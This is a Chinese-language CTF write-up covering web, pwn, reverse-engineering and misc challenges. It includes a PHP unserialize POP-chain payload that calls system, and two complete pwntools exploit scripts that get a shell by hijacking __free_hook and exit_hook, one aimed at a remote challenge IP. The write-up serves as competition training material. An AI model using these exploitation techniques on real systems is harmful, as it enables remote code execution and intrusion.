un
打开题目环境
观察url的参数,猜测可以存在文件读取漏洞
尝试读取index.php 读取成功
<?php
error_reporting(0);
class pop
{
public $aaa;
public static $bbb = false;
public function __wakeup()
{
// PHP 5.4
throw new Exception("You're banned to serialize pop!");
}
public function __destruct()
{
for ($i=0; $i<2; $i++) {
if (self::$bbb) {
$this->aaa[1]($this->aaa[2]);
} else {
self::$bbb = call_user_func($this->aaa["object"]);
}
}
}
}
if (isset($_GET["code"])) {
unserialize(base64_decode($_GET["code"]));
} elseif (isset($_GET["f"])) {
if(is_string($_GET["f"]) === false){
echo "The f param must be string";
exit();
}
$user_f = $_GET["f"];
$regex = "/[ <>?!@#$%&*()+=|\\-\\\\}{:\";'~`,\\/]/";
if(preg_match($regex, $user_f)){
echo "The ".$user_f." has been detected by regular expression: ".$regex;
exit();
}
echo file_get_contents($user_f);
}else{
echo "<a href='/index.php?f=secret'>show me secret!</a>";
}
下面根据源码构造payload,主要对aaa进行构造
<?php
class pop
{
public $aaa;
public static $bbb = false;
}
$a=new pop();
$a->aaa = array('object'=>'phpinfo',1=>'system',2=>'tac /flag');
echo serialize($a);
?>
GET传一个code变量
成功读取flag
mis
直接看libc 2.27
void __noreturn start()
{
write(
1u,
"GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.2) stable release version 2.27.\n"
"Copyright (C) 2018 Free Software Foundation, Inc.\n"
"This is free software; see the source for copying conditions.\n"
"There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\n"
"PARTICULAR PURPOSE.\n"
"Compiled by GNU CC version 7.5.0.\n"
"libc ABIs: UNIQUE IFUNC\n"
"For bug reporting instructions, please see:\n"
"<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n",
0x1B1uLL);
exit(0);
}
漏洞很明显:
unsigned __int64 sub_A4F()
{
unsigned int v1; // [rsp+8h] [rbp-118h]
int v2; // [rsp+Ch] [rbp-114h]
char s[264]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Input index: ");
v1 = getindex();
if ( v1 >= 0x11 )
exit(0);
printf("Input size: ");
v2 = getindex(); //但是堆块大小又是自己输入
if ( v2 > 0 && v2 <= '\xFF' )
{
dword_202068[4 * v1] = v2;
printf("Input note: ");
memset(s, 0, 0x100uLL);
read(0, s, 0x100uLL);
*(&unk_202060 + 2 * v1) = strdup(s); //使用strdup申请的堆块长度自动计算
}
return __readfsqword(0x28u) ^ v4;
}
堆块大小可以自定义,但是堆块大小的申请是通过strdup函数申请,所以设置堆块大小只需要大于输入的内容长度就可以在edit造成堆溢出
发现edit部分不进行堆块大小校验:
int edit()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
printf("Input index: ");
v1 = getindex();
if ( v1 >= 0x11 )
exit(0);
if ( !*(&unk_202060 + 2 * v1) )
return puts("No note");
printf("Input note: ");
return read(0, *(&unk_202060 + 2 * v1), dword_202068[4 * v1]);
}
直接就可以开始构造堆块实现堆溢出
int show()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
printf("Input index: ");
v1 = getindex();
if ( v1 >= 0x11 )
exit(0);
if ( *(&unk_202060 + 2 * v1) )
return write(1, *(&unk_202060 + 2 * v1), dword_202068[4 * v1]);
else
return puts("No note");
}
发现show函数也是直接根据输入的内容大小进行show,直接可以泄漏libc
下面就是直接通过show泄漏libc,在通过堆溢出直接劫持堆块的fd指针指向free_hook实现劫持,写入system地址和参数,通过free触发getshell:
from pwn import *
s = lambda x : io.send(x)
sa = lambda x,y : io.sendafter(x,y)
sl = lambda x : io.sendline(x)
sla = lambda x,y : io.sendlineafter(x,y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
attack = ''
binary = './pwn'
def start(argv=[], *a, **kw):
if args.GDB:return gdb.debug(binary)
if args.TAG:return remote(*args.TAG.split(':'))
if args.REM:return remote(*attack.split(':'))
return process([binary] + argv, *a, **kw)
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = ELF('./libc.so.6')
gdbscript = '''
#continue
'''.format(**locals())
io = start([])
def add(idx,size,text):
ru('4.show\n')
sl('1')
ru(': ')
sl(str(idx))
ru(': ')
sl(str(size))
ru(': ')
s(text)
def rm(idx):
ru('4.show\n')
sl('2')
ru(': ')
sl(str(idx))
def edit(idx,text):
ru('4.show\n')
sl('3')
ru(': ')
sl(str(idx))
ru(': ')
s(text)
def show(idx):
ru('4.show\n')
sl('4')
ru(': ')
sl(str(idx))
add(8,0xf0,'A'*0x10) # 构造堆溢出结构
add(9,0xf0,'A'*0x10)
add(10,0xf0,'A'*0x10)
for i in range(8): #申请几个chunk大于
add(i,0xF0,'A'*0xF1)
for i in range(8-1,-1,-1): # 将堆块放入unsorted bin
rm(i)
show(10) #泄漏libc
r(0x20)
libc_base = uu64(r(6)) - 4111520
libc.address = libc_base
lss('libc_base')
rm(10) # 释放10 和 9 号堆块
rm(9)
edit(8,b'\x00'*0x20+p64(libc.sym['__free_hook']-8)) #通过堆溢出编辑8号堆块劫持free_hook
add(9,0xf0,'A'*0x10) # 向free_hook写入system地址和参数
add(10,0xf0,b'/bin/sh;'+p64(libc.sym['system']))
rm(10) #直接触发free_hook,getshell
itr()
in
发现保护全开
┌──(kali㉿kali)-[~/Desktop]
└─$ file inferno
inferno: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=db25ea43125b482fb7c7b243f4e455f1978d6b40, stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=inferno
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH No Symbols No 0 1 inferno
发现很明显的代码逻辑漏洞:
unsigned __int64 sub_980()
{
unsigned int size; // [rsp+0h] [rbp-20h] BYREF
unsigned int size_4; // [rsp+4h] [rbp-1Ch]
void *buf; // [rsp+8h] [rbp-18h] BYREF
char *v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Size:");
_isoc99_scanf("%u", &size); // 第一次输入的size
size_4 = size; // 被使用了
while ( size > 0x400000 )
{
puts("Too big!");
puts("Size:");
_isoc99_scanf("%u", &size); // 第二次输入的size
}
v4 = (char *)malloc(size);
puts("Data:");
read(0, &v4[size_4], 1uLL); // 写入\x18
read(0, &v4[size_4 + 31], 1uLL); // 写入\x40
puts("OK");
puts("Now getshell!");
read(0, &buf, 8uLL); // 直接劫持buf指向exit_hook
read(0, buf, 3uLL); // 写入onegadget
return __readfsqword(0x28u) ^ v5;
}
发现第一次输入的size大小被后续代码继续使用,导致read函数直接可以实现数组越界访问,考虑到只能修改两个字节所以直接劫持buf指针
动调得到buf地址的尾部地址为:\x18
,\x40
直接通过read(0, &buf, 8uLL);将buf指向exit_hook,再通过read(0, buf, 3uLL); 写入onegadget来getshell
from pwn import *
context.log_level = "debug"
context.terminal = ["wt.exe","wsl"]
def get_p(file):
elf = ELF(file)
#p = elf.process()
p = remote("47.112.189.16",31492)
return p,elf
def debug():
gdb.attach(p)
pause()
p,elf = get_p("./inferno")
libc = ELF("./libc-2.23.so")
def add(size,content):
p.sendlineafter(b"Size:\n",str(size))
p.sendlineafter(b"Data:\n",content)
#p.send
p.sendlineafter(b"Size:\n",str(0x5e6611)) #绕过第一次判断,计算好buf的偏移
p.sendlineafter(b"Size:\n",str(0x220000)) #计算第二个buf的偏移
p.sendafter(b"Data:",b"\x18") # 修改buf指向
p.send(b"\x40")
libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x3c5640 #通过改变内存指向泄露libc
log.success("libc.address = " + hex(libc.address))
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
og = libc.address + one_gadgets[3]
exit_hook = libc.address + 0x5f0040+3848
log.success("og = " + hex(og))
p.sendafter(b"Now getshell!\n",p64(exit_hook)) 劫持exit_hook,one_gadgets
p.send(p64(og)[:3])
p.interactive()
re2
1.使用EXEinfo查询程序信息发现加壳了
2.使用此工具进行脱壳,需要脱两次
3.使用IDA进行分析,原本在nop的地方是干扰反编译的代码,我们对其进行nop可以得到伪代码
4.有反调试和输入长度的校验
5.关键函数也就是将 y 替换为 7 z替换为8
6.EXP
enc = list("de21cz4ycedfz16az31zd2dycy65ac41")
#enc = list("de21cz4y")
for i in range(len(enc)):
if enc[i] == "y":
enc[i] = '7'
if enc[i] == 'z':
enc[i] = '8'
#de21c847cedf816a8318d2d7c765ac41
print("".join(enc))
India Pale Ale
ios逆向,但是架不住直接看汇编逆向。拖进IDA发现
InitFunction0~2实现加解密,仔细分析发现代码是标准 RC4和变异base64,搜了一下发现InitFunction其实就类似于main函数调用。核心加密逻辑在0~2,写代码逆向就好了。
代码换表
key = "SimpleKeyHere"
table = [
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09,
0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13,
0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D,
0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31,
0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B,
0x3C, 0x3D, 0x3E, 0x3F
]
ex = [
0x0D, 0x11, 0x13, 0x17, 0x1D, 0x00, 0x00, 0x00
]
base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# RC4 key transformation
print("rc4 key")
for i in range(len(key)):
a = ord(key[i]) ^ 0xA5
print(f"0x{a:02x},", end=" ")
print("\n")
v1 = 0
# Initialize RC4 table
for i in range(64):
v2 = table[i]
v1 = (v1 + v2 + ex[i % 5]) % 64
table[i] = table[v1]
table[v1] = v2
# Output base64 table
print("base64 table")
for i in range(64):
print(base[table[i]], end="")
print("\n")
且key为char类型,不用0x,直接用负数
import base64
from Crypto.Cipher import ARC4
# 自定义Base64表和标准Base64表的映射
custom_base64_table = "NF01ihUKST9q3lnjEBs47k2w5ad+AVHfPezg/CDyxrMLR6GvomIQJOXcpW8ZbutY="
standard_base64_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
# 解密数据
hex_result = [
-24, -24, -60, -54, -95, -46, -45, -3, -96, -96, -63, -7, -87, -40, -3, -22, -36, -47,
-32, -62, -59, -88, -90, -31, -24, -45, -9, -43, -91, -60, -13, -40, -55, -95, -34, -46,
-27, -25, -33, -9, -32, -40, -32, -41
]
# 自定义Base64解码函数
def decode_custom_base64(encoded_data, translation_table):
return base64.b64decode(encoded_data.translate(translation_table))
# RC4解密函数
def rc4_decrypt(key, encrypted_data):
return ARC4.new(key).decrypt(encrypted_data)
# 处理解密数据的主函数
def retrieve_flag(encoded_values, secret_key):
# 1. 解密 result 数据
decoded_string = bytes(((value & 0xFF) ^ 0x90) for value in encoded_values).decode()
# 2. 创建字符映射,将自定义Base64表映射到标准Base64表
translation_table = str.maketrans(custom_base64_table, standard_base64_table)
# 3. 解码Base64数据
base64_decoded_data = decode_custom_base64(decoded_string, translation_table)
# 4. 生成RC4密钥并解密Base64解码的数据
rc4_key = bytes((byte ^ 0xA5) for byte in secret_key)
return rc4_decrypt(rc4_key, base64_decoded_data)
# 设定简单密钥
simple_key = b"SimpleKeyHere"
# 获取并打印解密后的Flag
final_flag = retrieve_flag(hex_result, simple_key)
print(final_flag)
jpg
jpg中看到zip,扒下来发现有加密
伪加密用工具修一下就好
解压看到有个flag.pdf,010里面看到有图片 用ps打开一看发现隐藏图层
解码拿到sha256,ARCHPR明文攻击
回酒店换了个环境爆破,等了十九分钟把密码爆出来了。太漫长了
@Xy9$LkXx
解压得到flag
蓝书包
找压缩密码的规律,编写脚本
很明显是一个png,那思路就很明确了。挨个解压然后拼接其中的内容呗。。
脚本
import os
import pyzipper
folder_path = r"C:\Users\Administrator\Desktop\古剑山ctf\11"
output_folder = r"."
output_file = os.path.join(output_folder, "1.png")
# Create output folder
os.makedirs(output_folder, exist_ok=True)
# Extract all files and concatenate
for i in range(1, 183):
zip_filename = os.path.join(folder_path, f'{i}.zip')
password = f'1{i:04d}' # Format password
try:
with pyzipper.AESZipFile(zip_filename) as zf:
zf.setpassword(password.encode())
zf.extractall(output_folder)
print(f'{zip_filename} extracted successfully!')
except Exception as e:
print(f'Error extracting {zip_filename}: {e}')
# Concatenate files
file_names = [f's{chr(97 + i)}{chr(97 + j)}' for i in range(26) for j in range(26)]
with open(output_file, 'wb') as output_f:
for file_name in file_names:
file_path = os.path.join(output_folder, file_name)
if os.path.exists(file_path):
with open(file_path, 'rb') as f:
output_f.write(f.read())
print(f'{file_name} concatenated successfully')
else:
print(f'{file_name} file not found, skipping')
print(f'All files concatenated. Output file is located at: {output_file}')
得到的结果如下
接着用puzzlesolver爆破即可
```